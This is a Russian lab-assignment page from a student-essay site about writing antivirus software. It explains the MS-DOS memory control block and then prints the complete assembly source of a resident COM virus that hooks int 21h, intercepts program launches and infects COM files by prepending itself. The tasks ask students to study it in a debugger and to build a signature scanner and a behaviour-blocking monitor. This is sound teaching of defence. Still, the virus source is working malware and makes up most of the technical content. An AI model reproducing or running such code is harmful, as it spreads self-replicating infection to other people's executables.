Студопедия — Структура MCB – блока управления памятью.
Студопедия Главная Случайная страница Обратная связь

Разделы: Автомобили Астрономия Биология География Дом и сад Другие языки Другое Информатика История Культура Литература Логика Математика Медицина Металлургия Механика Образование Охрана труда Педагогика Политика Право Психология Религия Риторика Социология Спорт Строительство Технология Туризм Физика Философия Финансы Химия Черчение Экология Экономика Электроника

Структура MCB – блока управления памятью.






off Sz Description
00h   Признак последнего блока. Z – последний. M – есть еще блоки.
01h   Адрес ассоциированного PSP. (для самой MS_DOS = 0008h)
03h   Размер блока памяти в параграфах, не считая самого MCB.
05h   Не используется
08h   Имя блока, обычно имя программы.

Далее приведен исходный код резидентного COM вируса, который заражает файлы внедрением в начало.

1. Выделяем память, копируем туда себя и запускаемся там с метки next

mov ah,4Ah  
mov bx,0FFFFh  
int 21h  
sub bx,(vir_size+15)/16+1  
mov ah,4Ah  
int 21h  
mov ah,48h  
mov bx,(vir_size+15)/16  
int 21h  
push ax  
mov es,ax  
xor di,di  
mov si,100h  
mov cx,vir_size  
rep movsb  
mov ax,offset next-100h  
push ax  
retf  

2. Проверяем установлен ли наш вирус в памяти - вызываем int 21h с ax=0FFFFh, если уже установлен прыгаем на выход.

next:  
mov ax,0FFFFh  
int 21h  
test ax,ax  
jz exit  

3. Устанавливаем наш обработчик прерывания int 21h.

set_int:  
push cs  
pop ds  
mov ax,3521h  
int 21h  
mov [Old_Int21_Off-100h],bx  
mov [Old_Int21_Seg-100h],es  
mov ah,25h  
lea dx,New_Int21  
int 21h  

4. Восстанавливаем значения всех сегментных регистров.

exit:  
push ss  
push ss  
pop ds  
pop es  

5. Восстанавливаем в памяти носитель, поднимаем его к PSP и передаем ему управление.

mov si,offset old_file  
mov di,100h  
mov cx,file_size  
rep movsb  
push ss  
push 100h  
retf  

 

Далее идет резидентная часть, этапы функционирования которой имеют свою нумерацию и расположены не по порядку исполнения. Выполнение начинается с пункта 1 – метка New_Int21.

 

11. Закрываем файл и восстанавливаем регистры.

close_file:  
mov ah,3eh  
Pushf  
call to_int21-100h  
restore:  
pop es  
pop ds  
popa  
     

12. Прыжок на оригинальный обработчик int 21h.

to_int21:  
Jump_Old_Int21 db 0eah  
Old_Int21_Off dw 0  
Old_Int21_Seg dw 0  

1. Проверяем это запрос на зараженность памяти от другой копии вируса (ax=0FFFFh) или нет. Если да, то увеличиваем ax на 1 (становится ax=0) и возвращаемся из прерывания.

New_Int21:  
cmp ax,0FFFFh  
jnz Check_4b  
inc ax  
iret  

2. Проверяем вызывается подфункция запуска программы (4B00h), если нет – передаем управление оригинальному обработчику. Если да, сохраняем регистры.

Check_4b:  
cmp ax,04b00h  
jnz to_int21  
pusha  
push ds  
push es  

3. Открываем файл, это исполняемый файл и его имя уже в ds:dx.

mov ax,3d02h  
pushf  
call to_int21-100h  
jc close_file  
xchg ax,bx  

4. В области видеопамяти (0A000h) строим зараженную программу, для этого копируем в начало области тело вируса.

push cs  
pop ds  
mov ax,0a000h  
mov es,ax  
xor si,si  
xor di,di  
mov cx,vir_size  
rep movsb  

5. Читаем после тела вируса тело жертвы из файла.

mov ds,ax  
mov ah,3fh  
mov cx,0ffffh  
mov dx,di  
pushf  
call to_int21-100h  

6. Проверяем максимальный размер.

mov file_size-100h,ax  
cmp ax,0fd00h  
ja close_file  

7. Проверяем начало жертвы на нашу сигнатуру – метку заражения.

mov ax,word ptr [di]  
cmp ax,0580Eh  
jz close_file  

8. Проверяем не EXE ли это.

xor al,ah  
cmp al,17h  
jz close_file  

9. Перемещаем указатель в начало жертвы.

mov ax,4200h  
xor cx,cx  
xor dx,dx  
pushf  
call to_int21-100h  

10. Пишем зараженную программу в файл и прыгаем на следующий этап.

mov ah,40h  
xor dx,dx  
mov cx,file_size-100h  
add cx,di  
pushf  
call to_int21-100h  
jmp close_file  

13. Область данных вируса и моделируемый носитель, состоящий из одной команды ret.

File_Size dw 1  
vir_size=$-start  
old_file: ret  
end start  

Порядок выполнения работы

 

1. Набрать, скомпилировать и исследовать работу простейшего антивируса из примера.

2. Изменить его под свой вирус, сделать сигнатуру - 16 байт.

3. Добавить интерфейс с выводом сообщения о том, что файл заражен, его имя и запросом на лечение, с вариантом действий: да / нет.

4. Набрать пример резидентного COM вируса и исследовать его работу в отладчике.

5. Создать резидентный монитор, который будет блокировать действия программ, которые считывают 4 байта и затем переводят указатель чтения/записи в конец файла.

 

 

Содержание отчета по выполненной работе

 

Отчет должен содержать номер и наименование лабораторной работы, данные о студентах, ее выполнивших, исходные тексты разработанных программ и исполняемые файлы с ними в электронном виде и выводы по результатам проделанной работы.

 

 

Контрольные вопросы

1. Какие виды антивирусов бывают.

2. Какие методы используют антивирусы.

3. Какие функции работают с файлами.

4. Каким образом обеспечивается резидентность.

5. Объясните работу предложенного фрагмента из лабораторной.

 







Дата добавления: 2015-10-19; просмотров: 534. Нарушение авторских прав; Мы поможем в написании вашей работы!



Функция спроса населения на данный товар Функция спроса населения на данный товар: Qd=7-Р. Функция предложения: Qs= -5+2Р,где...

Аальтернативная стоимость. Кривая производственных возможностей В экономике Буридании есть 100 ед. труда с производительностью 4 м ткани или 2 кг мяса...

Вычисление основной дактилоскопической формулы Вычислением основной дактоформулы обычно занимается следователь. Для этого все десять пальцев разбиваются на пять пар...

Расчетные и графические задания Равновесный объем - это объем, определяемый равенством спроса и предложения...

Тема 5. Анализ количественного и качественного состава персонала Персонал является одним из важнейших факторов в организации. Его состояние и эффективное использование прямо влияет на конечные результаты хозяйственной деятельности организации.

Билет №7 (1 вопрос) Язык как средство общения и форма существования национальной культуры. Русский литературный язык как нормированная и обработанная форма общенародного языка Важнейшая функция языка - коммуникативная функция, т.е. функция общения Язык представлен в двух своих разновидностях...

Патристика и схоластика как этап в средневековой философии Основной задачей теологии является толкование Священного писания, доказательство существования Бога и формулировка догматов Церкви...

Образование соседних чисел Фрагмент: Программная задача: показать образование числа 4 и числа 3 друг из друга...

Шрифт зодчего Шрифт зодчего состоит из прописных (заглавных), строчных букв и цифр...

Краткая психологическая характеристика возрастных периодов.Первый критический период развития ребенка — период новорожденности Психоаналитики говорят, что это первая травма, которую переживает ребенок, и она настолько сильна, что вся последую­щая жизнь проходит под знаком этой травмы...

Studopedia.info - Студопедия - 2014-2024 год . (0.011 сек.) русская версия | украинская версия